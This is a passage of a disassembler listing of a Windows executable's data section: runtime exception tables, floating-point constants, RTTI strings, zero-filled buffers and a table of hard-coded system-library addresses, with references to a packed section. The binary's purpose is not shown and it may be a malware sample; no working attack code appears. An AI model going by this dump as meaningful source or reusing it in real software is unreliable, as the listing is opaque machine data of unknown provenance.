		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43D2F8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_420C7F+19o
					; sub_420DB0:loc_421317o
dword_43D300	dd 5Dh,	0		; DATA XREF: sub_420DB0:loc_421207o
dword_43D308	dd 14h			; DATA XREF: sub_421EC4+2o
off_43D30C	dd offset aExp		; DATA XREF: sub_421EC4:loc_421EE1r
					; "exp"
		dd 1Dh,	427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h
		dd 13h,	427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
		dd 0Fh,	427820h, 10h, 427818h, 5, 427810h, 1Eh,	42780Ch
		dd 12h,	427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
		dd 15h,	4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
		dd 18h,	4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
		dd 23h,	4277B4h, 24h, 4277B0h
dbl_43D3E0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+B7r
					; sub_421BFF:loc_421CE6r ...
		dd 0
		dd 0FFF80000h
dbl_43D3F0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+92r
					; sub_421BFF:loc_421CBEr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43D408	dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
					; sub_4220AC+1Fr
		align 4
tbyte_43D414	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
		align 10h
off_43D420	dd offset sub_422540	; DATA XREF: sub_41D13C+Fw
					; sub_41FF3F+3AAr
off_43D424	dd offset sub_4221D5	; DATA XREF: sub_41D13C+5w
					; sub_41FF3F+3E2r
off_43D428	dd offset sub_42223B	; DATA XREF: sub_41D13C+14w
					; sub_420DB0+430r
off_43D42C	dd offset sub_42217B	; DATA XREF: sub_41D13C+1Ew
					; sub_41FF3F+3CBr
off_43D430	dd offset sub_422223	; DATA XREF: sub_41D13C+28w
off_43D434	dd offset sub_422540	; DATA XREF: sub_41D13C+32w
		dd offset sub_424F1C
		align 10h
		dd offset sub_422DFC
off_43D444	dd offset sub_422DFC	; DATA XREF: sub_422E52+29r
dword_43D448	dd 0C0000005h		; DATA XREF: sub_423638+Ar
					; sub_423638+11o ...
dword_43D44C	dd 0Bh			; DATA XREF: sub_425D33+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D4C0	dd 3			; DATA XREF: sub_4234F7+58r
					; sub_425C06+C8r
dword_43D4C4	dd 7			; DATA XREF: sub_4234F7+5Er
					; sub_425C06+CDr
dword_43D4C8	dd 0Ah			; DATA XREF: sub_423638+4r
					; sub_425D33+4r
dword_43D4CC	dd 8Ch			; DATA XREF: sub_4234F7+82r
					; sub_4234F7+8Fw ...
dword_43D4D0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F8E3:loc_41F964o
					; sub_41FE2A:loc_41FEE7o
dword_43D4D8	dd 2			; DATA XREF: sub_423DD1+Eo
					; sub_423DD1+28r
off_43D4DC	dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
					; sub_423DD1+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B74h, 9, 427B48h, 0Ah,	427B24h, 10h, 427AF8h
		dd 11h,	427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
		dd 19h,	427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
		dd 78h,	427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh
		dd 0FFh, 427940h
off_43D568	dd offset dword_4DC020	; DATA XREF: sub_423DD1+1Bo
					; sub_42413E+55o
		align 10h
		dd offset dword_4DC020
		dd 101h
dword_43D578	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42413E+72o
		dd 1000h, 0
dword_43D588	dd 3 dup(0)		; DATA XREF: sub_41FE2A+50o
					; sub_420CE6+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5A8	dd 3 dup(0)		; DATA XREF: sub_41FE2A+58o
					; sub_420CE6:loc_420D04o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5D8	dd 84h dup(0)		; DATA XREF: sub_42413E+9Bo
dword_43D7E8	dd 2 dup(0)		; DATA XREF: sub_42413E+69o
dword_43D7F0	dd 2694h		; DATA XREF: sub_421861+3r
					; sub_4218B4+46r
		align 8
dword_43D7F8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_424CFCo
dword_43D810	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D828	dd 2 dup(0)		; DATA XREF: sub_42600E+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D988	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_42600E+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43DAE4	dd offset off_427CEC	; DATA XREF: .packed:00427EC4o
					; .packed:00427FB0o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43DAFC	dd offset off_427CEC	; DATA XREF: .packed:off_427D78o
					; .packed:00427DB8o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43DB1C	dd offset off_427CEC	; DATA XREF: .packed:off_427DC0o
					; .packed:00427E04o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43DB3C	dd offset off_427CEC	; DATA XREF: .packed:off_427E0Co
					; .packed:00427E50o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43DB60	dd offset off_427CEC	; DATA XREF: .packed:off_427E58o
					; .packed:00427E94o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_424F1C
		align 10h
dword_43DB80	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
byte_43DB88	db 0			; DATA XREF: sub_40111D+62o
					; sub_401221+24Do ...
		align 10h
dword_43DB90	dd 0			; DATA XREF: sub_401221+38Fo
					; sub_401ACD+AECo ...
		dd 5 dup(0)
dword_43DBA8	dd 0			; DATA XREF: sub_401ACD+B48r
					; sub_415C40+60r
		dd 2D9h	dup(0)
dword_43E710	dd 0			; DATA XREF: sub_401ACD+5D8Cr
					; sub_401ACD+5E61r ...
		dd 7Fh dup(0)
dword_43E910	dd 0			; DATA XREF: sub_40B3BA+41w
					; sub_40B4F5+40w ...
dword_43E914	dd 0			; DATA XREF: sub_40B3BA+47w
					; sub_40B4F5+46w ...
dword_43E918	dd 0			; DATA XREF: sub_40B3BA+52w
					; sub_40B4F5+3Ar ...
dword_43E91C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E920	dd 0			; DATA XREF: sub_40B4F5+75r
					; sub_40B6D6+2Aw ...
dword_43E924	dd 0			; DATA XREF: sub_401221+3DEw
					; sub_401221+456w ...
byte_43E928	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5CD7r ...
		align 4
		dd 1B89h dup(0)
dword_445750	dd 473Ch dup(0)		; DATA XREF: .packed:off_43492Co
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: .packed:off_43902Co
		dd 0E306h dup(0)
dword_49005C	dd 937Eh dup(0)		; DATA XREF: .packed:off_432948o
		db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: .packed:off_43165Co
		dd 0FBh	dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: .packed:off_438E98o
		dd 5932h dup(0)
dword_4CB710	dd 0BA89h		; DATA XREF: sub_40111D+FDw
					; sub_40B3BA+13o ...
dword_4CB714	dd 1Bh			; DATA XREF: sub_401221+3Dw
					; sub_401ACD:loc_404494r ...
dword_4CB718	dd 0			; DATA XREF: sub_401221:loc_4016FFo
dword_4CB71C	dd 20h dup(0)		; DATA XREF: sub_401221+495o
					; sub_401221+52Fo ...
dword_4CB79C	dd 10h dup(0)		; DATA XREF: sub_401221+4ABo
dword_4CB7DC	dd 24h dup(0)		; DATA XREF: sub_401221+4C2o
dword_4CB86C	dd 0			; DATA XREF: sub_401221+4B6w
					; sub_401221+546w ...
dword_4CB870	dd 0			; DATA XREF: sub_401221+4D5w
		align 10h
byte_4CB880	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB884	dd 0			; DATA XREF: sub_401221+4E3w
					; sub_401221+4FAr ...
dword_4CB888	dd 0			; DATA XREF: sub_401221+49Aw
					; sub_401ACD+8A2r
word_4CB88C	dw 0			; DATA XREF: sub_401ACD+7BAFo
					; .packed:0040AFA9o ...
		align 10h
dword_4CB890	dd 77C72C6Bh		; DATA XREF: sub_409909+4A7w
					; sub_409909+4EBr
dword_4CB894	dd 77EBA994h		; DATA XREF: sub_409909+65w
					; sub_419C09+166r
dword_4CB898	dd 7622A3F4h		; DATA XREF: sub_409909+80Bw
					; sub_409909+880r ...
dword_4CB89C	dd 71C45229h		; DATA XREF: sub_409909+9D8w
					; sub_409909+A43r ...
dword_4CB8A0	dd 71C24870h		; DATA XREF: sub_409909+98Aw
					; sub_409909+A13r ...
dword_4CB8A4	dd 77C71BB0h		; DATA XREF: sub_409909+48Dw
					; sub_409909+4DBr
dword_4CB8A8	dd 77D4808Bh		; DATA XREF: sub_409909+213w
					; sub_409909+234r ...
dword_4CB8AC	dd 71C4502Ch		; DATA XREF: sub_409909+9CBw
					; sub_409909+A3Br ...
dword_4CB8B0	dd 77DE801Bh		; DATA XREF: sub_409909+372w
					; sub_409909+3C7r ...
dword_4CB8B4	dd 77DDACABh		; DATA XREF: sub_409909+40Fw
					; sub_41AF8F+11Er
dword_4CB8B8	dd 77DE8075h		; DATA XREF: sub_409909+37Fw
					; sub_409909+3CFr ...
dword_4CB8BC	dd 77DD7496h		; DATA XREF: sub_409909+3C0w
					; sub_4191DB+ADr
dword_4CB8C0	dd 71AB1B7Bh		; DATA XREF: sub_409909+55Aw
					; sub_40FAD6+115r ...
dword_4CB8C4	dd 77E686CCh		; DATA XREF: sub_409909+72w
					; sub_409909+D2r ...
dword_4CB8C8	dd 71C2498Bh		; DATA XREF: sub_409909+97Dw
					; sub_409909+A06r ...
dword_4CB8CC	dd 77DDAB2Fh		; DATA XREF: sub_409909+3A6w
					; sub_409909+3E7r ...
dword_4CB8D0	dd 7620E8C3h		; DATA XREF: sub_409909+859w
					; sub_409909+8ACr ...
dword_4CB8D4	dd 77DD23D7h		; DATA XREF: sub_409909+2A5w
					; sub_409909+2F0r
dword_4CB8D8	dd 76214750h		; DATA XREF: sub_409909+84Cw
					; sub_409909+8A4r ...
dword_4CB8DC	dd 77E6D75Bh		; DATA XREF: sub_409909+B3w
dword_4CB8E0	dd 7620BD61h		; DATA XREF: sub_409909+866w
					; sub_409909+8B4r ...
dword_4CB8E4	dd 71AB60C9h		; DATA XREF: sub_409909+54Dw
					; sub_409909+6D0r ...
dword_4CB8E8	dd 77EBA6E9h		; DATA XREF: sub_409909+58w
					; sub_409909+CAr ...
dword_4CB8EC	dd 76D62A58h		; DATA XREF: sub_409909+934w
					; sub_413E10+11Ar
dword_4CB8F0	dd 76F36EAAh		; DATA XREF: sub_401ACD:loc_403ECBr
					; sub_409909+A95w ...
dword_4CB8F4	dd 77E802FCh		; DATA XREF: sub_409909+A6w
					; sub_409909+F2r
dword_4CB8F8	dd 77C75455h		; DATA XREF: sub_409909+480w
					; sub_409909+4D3r
dword_4CB8FC	dd 71AB12A7h		; DATA XREF: sub_409909+5F6w
					; sub_40C267+20r ...
dword_4CB900	dd 71C574FAh		; DATA XREF: sub_409909+9BEw
					; sub_409909+A33r
dword_4CB904	dd 71AB1746h		; DATA XREF: sub_409909+5E9w
					; sub_409909+754r ...
dword_4CB908	dd 71C21CA3h		; DATA XREF: sub_409909+A0Cw
dword_4CB90C	dd 71B28D0Dh		; DATA XREF: sub_409909+B50w
					; sub_40DC41+9Ar
dword_4CB910	dd 762211EFh		; DATA XREF: sub_409909+7FEw
					; sub_409909+86Dr ...
dword_4CB914	dd 77D902E3h		; DATA XREF: sub_409909+1B3w
					; sub_40B5B5+3Do ...
dword_4CB918	dd 71C2FA86h		; DATA XREF: sub_409909+997w
					; sub_409909+A1Br ...
dword_4CB91C	dd 77DE1291h		; DATA XREF: sub_409909+38Cw
					; sub_409909+3D7r ...
dword_4CB920	dd 77E2C1B3h		; DATA XREF: sub_409909+399w
					; sub_409909+3DFr ...
dword_4CB924	dd 73B81E3Bh		; DATA XREF: sub_409909+C85w
					; sub_409909+C8Cr
dword_4CB928	dd 71ABF628h		; DATA XREF: sub_409909+6ACw
					; sub_4111C0+D0r
dword_4CB92C	dd 71AB1836h		; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB930	dd 77C72889h		; DATA XREF: sub_409909+4B4w
dword_4CB934	dd 71C453F8h		; DATA XREF: sub_409909+9E5w
					; sub_409909+A4Br ...
dword_4CB938	dd 77DD5C55h		; DATA XREF: sub_401000+51r
					; sub_409909+2B2w ...
dword_4CB93C	dd 77E96645h		; DATA XREF: sub_409909+7Fw
					; sub_409909+DAr ...
dword_4CB940	dd 77428B97h		; DATA XREF: sub_401ACD+5840r
					; sub_401ACD+781Er ...
dword_4CB944	dd 71AB41DAh		; DATA XREF: sub_401221+8Cr
					; sub_401ACD+5037r ...
dword_4CB948	dd 762059A3h		; DATA XREF: sub_409909+825w
					; sub_409909+890r ...
dword_4CB94C	dd 71C4A1B4h		; DATA XREF: sub_409909+9A4w
					; sub_409909+A23r
dword_4CB950	dd 1F7CD214h		; DATA XREF: sub_409909+C0Ew
					; sub_409909+C3Fr
dword_4CB954	dd 77E09134h		; DATA XREF: sub_409909+2CCw
					; sub_418A2E+47r
dword_4CB958	dd 77D4456Bh		; DATA XREF: sub_409909+22Dw
					; sub_4126A7+40r ...
dword_4CB95C	dd 76D629BBh		; DATA XREF: sub_409909+91Aw
					; sub_409909+92Er ...
dword_4CB960	dd 1F7B9D96h		; DATA XREF: sub_409909+C28w
dword_4CB964	dd 77E09070h		; DATA XREF: sub_409909+2D9w
					; sub_418A2E+4Fr
dword_4CB968	dd 71AB1740h		; DATA XREF: sub_409909+574w
					; sub_409909+6E8r ...
dword_4CB96C	dd 7620AFB6h		; DATA XREF: sub_409909+83Fw
					; sub_409909+873r
dword_4CB970	dd 77D5C13Ah		; DATA XREF: sub_409909+220w
					; sub_409909+23Cr ...
dword_4CB974	dd 77D45B19h		; DATA XREF: sub_409909+172w
					; sub_409909+1C2r
dword_4CB978	dd 71AB157Eh		; DATA XREF: sub_401ACD+1DCEr
					; sub_401ACD+59F9r ...
dword_4CB97C	dd 71AB3E5Dh		; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+50C1r ...
dword_4CB980	dd 71AB14DCh		; DATA XREF: sub_409909+567w
					; sub_409909+6DCr ...
dword_4CB984	dd 0CC0004h		; DATA XREF: sub_409909+8DBw
					; sub_409909:loc_40A202w ...
dword_4CB988	dd 77DD590Bh		; DATA XREF: sub_401000+26r
					; sub_409909+28Bw ...
dword_4CB98C	dd 71ABD755h		; DATA XREF: sub_401ACD+77AFr
					; sub_409909+69Fw ...
dword_4CB990	dd 77DF7311h		; DATA XREF: sub_409909+32Dw
					; sub_409909+341r ...
dword_4CB994	dd 77DDA2AFh		; DATA XREF: sub_409909+3B3w
					; sub_409909+3EFr ...
dword_4CB998	dd 1F7CD927h		; DATA XREF: sub_409909+C01w
					; sub_409909+C37r
dword_4CB99C	dd 76206853h		; DATA XREF: sub_409909+818w
					; sub_409909+888r ...
dword_4CB9A0	dd 77D4932Ch		; DATA XREF: sub_409909+206w
					; sub_409909+227r ...
dword_4CB9A4	dd 77D5E310h		; DATA XREF: sub_409909+18Cw
					; sub_409909+1D2r ...
dword_4CB9A8	dd 76206B7Fh		; DATA XREF: sub_409909+832w
					; sub_409909+898r ...
dword_4CB9AC	dd 71AB1444h		; DATA XREF: sub_409909+624w
					; sub_409909+774r ...
dword_4CB9B0	dd 77DD189Ah		; DATA XREF: sub_401000+5Ar
					; sub_409909+2BFw ...
dword_4CB9B4	dd 71AB3F8Dh		; DATA XREF: sub_409909+66Bw
					; sub_409909+79Cr ...
dword_4CB9B8	dd 77DD5D20h		; DATA XREF: sub_409909+320w
					; sub_409909+334r ...
dword_4CB9BC	dd 71AB1890h		; DATA XREF: sub_409909+644w
					; sub_409909+784r ...
dword_4CB9C0	dd 77C76B34h		; DATA XREF: sub_409909+44Cw
					; sub_409909+4AEr
dword_4CB9C4	dd 77D5E38Ch		; DATA XREF: sub_409909+199w
					; sub_409909+1DAr ...
dword_4CB9C8	dd 77DDA20Bh		; DATA XREF: sub_409909+365w
					; sub_409909+3BAr ...
dword_4CB9CC	dd 76F36EEBh		; DATA XREF: sub_409909+AA2w
dword_4CB9D0	dd 71AB12A7h		; DATA XREF: sub_409909+5DCw
					; sub_409909+748r ...
dword_4CB9D4	dd 71AB1746h		; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5073r ...
dword_4CB9D8	dd 77EBA595h		; DATA XREF: sub_409909+4Bw
					; sub_409909+C2r ...
dword_4CB9DC	dd 77C7531Dh		; DATA XREF: sub_409909+473w
					; sub_409909+4CBr
dword_4CB9E0	dd 77D4BDCAh		; DATA XREF: sub_409909+165w
					; sub_409909+1BAr ...
dword_4CB9E4	dd 71C3516Ah		; DATA XREF: sub_409909+9FFw
					; sub_409909+A5Br ...
dword_4CB9E8	dd 71AB32CAh		; DATA XREF: sub_409909+685w
					; sub_409909+7ACr ...
dword_4CB9EC	dd 71AB5690h		; DATA XREF: sub_401955+D1r
					; sub_401ACD+50D6r ...
dword_4CB9F0	dd 1F7CB8F8h		; DATA XREF: sub_409909+C1Bw
					; sub_409909+C47r
dword_4CB9F4	dd 77EBB1E7h		; DATA XREF: sub_409909+3Ew
					; sub_409909+BAr ...
dword_4CB9F8	dd 77DD59F0h		; DATA XREF: sub_401000+45r
					; sub_409909+298w ...
dword_4CB9FC	dd 71AB5DE2h		; DATA XREF: sub_409909+651w
					; sub_409909+78Cr ...
dword_4CBA00	dd 71AB3ECEh		; DATA XREF: sub_409909+637w
					; sub_409909+77Cr ...
dword_4CBA04	dd 73B81B0Fh		; DATA XREF: sub_409909+C92w
dword_4CBA08	dd 76204E4Dh		; DATA XREF: sub_409909+879w
					; sub_4167A0+4DCr ...
dword_4CBA0C	dd 0			; DATA XREF: sub_409909+112w
dword_4CBA10	dd 1F7D886Ah		; DATA XREF: sub_409909+BE7w
					; sub_409909+C22r
dword_4CBA14	dd 71AB12F8h		; DATA XREF: sub_401ACD+2F9Br
					; sub_401ACD+5EB8r ...
dword_4CBA18	dd 77C76551h		; DATA XREF: sub_409909+459w
					; sub_409909+4BBr
dword_4CBA1C	dd 77C729E2h		; DATA XREF: sub_409909+49Aw
					; sub_409909+4E3r
dword_4CBA20	dd 77C7212Fh		; DATA XREF: sub_409909+466w
					; sub_409909+4C3r
dword_4CBA24	dd 71AB1AF4h		; DATA XREF: sub_401955+89r
					; sub_401ACD+50F3r ...
dword_4CBA28	dd 77D5E303h		; DATA XREF: sub_409909+1A6w
					; sub_409909+1E2r ...
dword_4CBA2C	dd 71C4576Ch		; DATA XREF: sub_409909+9F2w
					; sub_409909+A53r ...
dword_4CBA30	dd 77D4702Fh		; DATA XREF: sub_409909+158w
					; sub_409909+1ADr ...
dword_4CBA34	dd 77E6C0E3h		; DATA XREF: sub_409909+8Cw
					; sub_409909+E2r ...
dword_4CBA38	dd 71AB1ED3h		; DATA XREF: sub_409909+610w
					; sub_409909+764r ...
dword_4CBA3C	dd 71B2A381h		; DATA XREF: sub_409909+B43w
					; sub_409909+B5Fr
dword_4CBA40	dd 77DDA595h		; DATA XREF: sub_409909+33Aw
					; sub_419B9E+55r
dword_4CBA44	dd 77DD22EAh		; DATA XREF: sub_409909+27Ew
					; sub_409909+2D3r ...
dword_4CBA48	dd 773F97B0h		; DATA XREF: sub_409909+BAAw
dword_4CBA4C	dd 76D67A29h		; DATA XREF: sub_409909+AECw
					; sub_40A928+CEr
dword_4CBA50	dd 76D674FAh		; DATA XREF: sub_409909+ADFw
					; sub_409909+AE6r ...
dword_4CBA54	dd 71AB3C22h		; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5052r ...
dword_4CBA58	dd 71AB2BBFh		; DATA XREF: sub_401ACD+5044r
					; sub_401ACD+77D6r ...
dword_4CBA5C	dd 1F7BA3A9h		; DATA XREF: sub_409909+BF4w
					; sub_409909+C2Fr
dword_4CBA60	dd 71AB401Ch		; DATA XREF: sub_401ACD+1DF4r
					; sub_401ACD+5A1Fr ...
dword_4CBA64	dd 71C214BAh		; DATA XREF: sub_409909+9B1w
					; sub_409909+A2Br ...
dword_4CBA68	dd 71AB868Dh		; DATA XREF: sub_409909+65Ew
					; sub_409909+794r ...
dword_4CBA6C	dd 71AB1A6Dh		; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CBA70	dd 71AB155Ah		; DATA XREF: sub_409909+59Bw
					; sub_409909+70Cr ...
dword_4CBA74	dd 71B22C25h		; DATA XREF: sub_409909+B36w
					; sub_409909+B57r ...
dword_4CBA78	dd 71AB5A01h		; DATA XREF: sub_409909+540w
					; sub_409909+6C4r ...
dword_4CBA7C	dd 71B2ACCBh		; DATA XREF: sub_409909+B29w
					; sub_409909+B4Ar
dword_4CBA80	dd 77E78C17h		; DATA XREF: sub_401221+52r
					; sub_409909+31w ...
dword_4CBA84	dd 77D49A11h		; DATA XREF: sub_409909+17Fw
					; sub_409909+1CAr
		dd 0
dword_4CBA8C	dd 76D62A37h		; DATA XREF: sub_409909+927w
					; sub_409909+93Br ...
dword_4CBA90	dd 77E6CBF9h		; DATA XREF: sub_409909+99w
					; sub_409909+EAr ...
dword_4CBA94	dd 0			; DATA XREF: sub_409909:loc_409A07w
					; sub_409909+12Bw ...
dword_4CBA98	dd 0			; DATA XREF: sub_409909+126w
					; sub_40A5C5+1Cr
dword_4CBA9C	dd 0			; DATA XREF: sub_409909:loc_409AF7w
					; sub_409909:loc_409B5Ew ...
dword_4CBAA0	dd 0			; DATA XREF: sub_409909+250w
					; sub_40A5C5+50r
dword_4CBAA4	dd 0			; DATA XREF: sub_401221+349r
					; sub_401ACD+4468r ...
dword_4CBAA8	dd 0			; DATA XREF: sub_409909+41Ew
					; sub_40A5C5+84r
dword_4CBAAC	dd 0			; DATA XREF: sub_409909:loc_409E0Dw
					; sub_40A5C5:loc_40A675r
dword_4CBAB0	dd 0			; DATA XREF: sub_409909+4FFw
					; sub_40A5C5+B8r
dword_4CBAB4	dd 0			; DATA XREF: sub_409909:loc_40A0DEw
					; sub_40A5C5:loc_40A6A9r
dword_4CBAB8	dd 0			; DATA XREF: sub_409909+7D0w
					; sub_40A5C5+ECr
dword_4CBABC	dd 0			; DATA XREF: sub_409909:loc_40A1C9w
					; sub_409909+8EFw ...
dword_4CBAC0	dd 0			; DATA XREF: sub_409909+8EAw
					; sub_40A5C5+120r
dword_4CBAC4	dd 0			; DATA XREF: sub_401ACD:loc_406E35r
					; sub_409909:loc_40A25Dw ...
dword_4CBAC8	dd 0			; DATA XREF: sub_409909+94Fw
					; sub_40A5C5+154r
dword_4CBACC	dd 0			; DATA XREF: sub_401ACD+4470r
					; sub_409909:loc_40A379w ...
dword_4CBAD0	dd 0			; DATA XREF: sub_409909+A6Bw
					; sub_40A5C5+188r
dword_4CBAD4	dd 0			; DATA XREF: sub_409909:loc_40A3C3w
					; sub_40A5C5:loc_40A779r
dword_4CBAD8	dd 0			; DATA XREF: sub_409909+AB5w
					; sub_40A5C5+1BCr
dword_4CBADC	dd 0			; DATA XREF: sub_409909:loc_40A40Dw
					; sub_40A5C5:loc_40A7ADr
dword_4CBAE0	dd 0			; DATA XREF: sub_409909+AFFw
					; sub_40A5C5+1F0r
dword_4CBAE4	dd 0			; DATA XREF: sub_409909:loc_40A481w
					; sub_40A5C5:loc_40A7E1r
dword_4CBAE8	dd 0			; DATA XREF: sub_409909+B73w
					; sub_40A5C5+224r
dword_4CBAEC	dd 0			; DATA XREF: sub_409909:loc_40A4CBw
					; sub_40A5C5:loc_40A815r
dword_4CBAF0	dd 0			; DATA XREF: sub_409909+BBDw
					; sub_40A5C5+258r
dword_4CBAF4	dd 0			; DATA XREF: sub_409909:loc_40A569w
					; sub_40A5C5:loc_40A849r
dword_4CBAF8	dd 0			; DATA XREF: sub_409909+C5Bw
					; sub_40A5C5+28Cr
dword_4CBAFC	dd 0			; DATA XREF: sub_409909:loc_40A5B3w
					; sub_40A5C5:loc_40A87Dr
dword_4CBB00	dd 0			; DATA XREF: sub_409909+CA5w
					; sub_40A5C5+2C0r
dword_4CBB04	dd 5 dup(0)		; DATA XREF: sub_40AA06+32o
byte_4CBB18	db 0			; DATA XREF: sub_40B2B3+6Ar
					; sub_40B2B3+98w
		align 10h
dword_4CBB20	dd 0			; DATA XREF: sub_40BD1A+18r
					; sub_40C2AF+92w ...
dword_4CBB24	dd 0			; DATA XREF: sub_40C3E8+4Dr
					; sub_40C600+D9w ...
		dd 7FEh	dup(0)
dword_4CDB20	dd 6 dup(0)		; DATA XREF: sub_40C3E8+D2o
					; sub_40C3E8+13Bo ...
dword_4CDB38	dd 0			; DATA XREF: sub_40BD91+2C4w
					; sub_40BD91+348o
dword_4CDB3C	dd 0			; DATA XREF: sub_40BD91+33Ew
					; sub_40BD91+35Ar
dword_4CDB40	dd 0			; DATA XREF: sub_40BD91+2CFw
dword_4CDB44	dd 0			; DATA XREF: sub_40BD91+2B9w
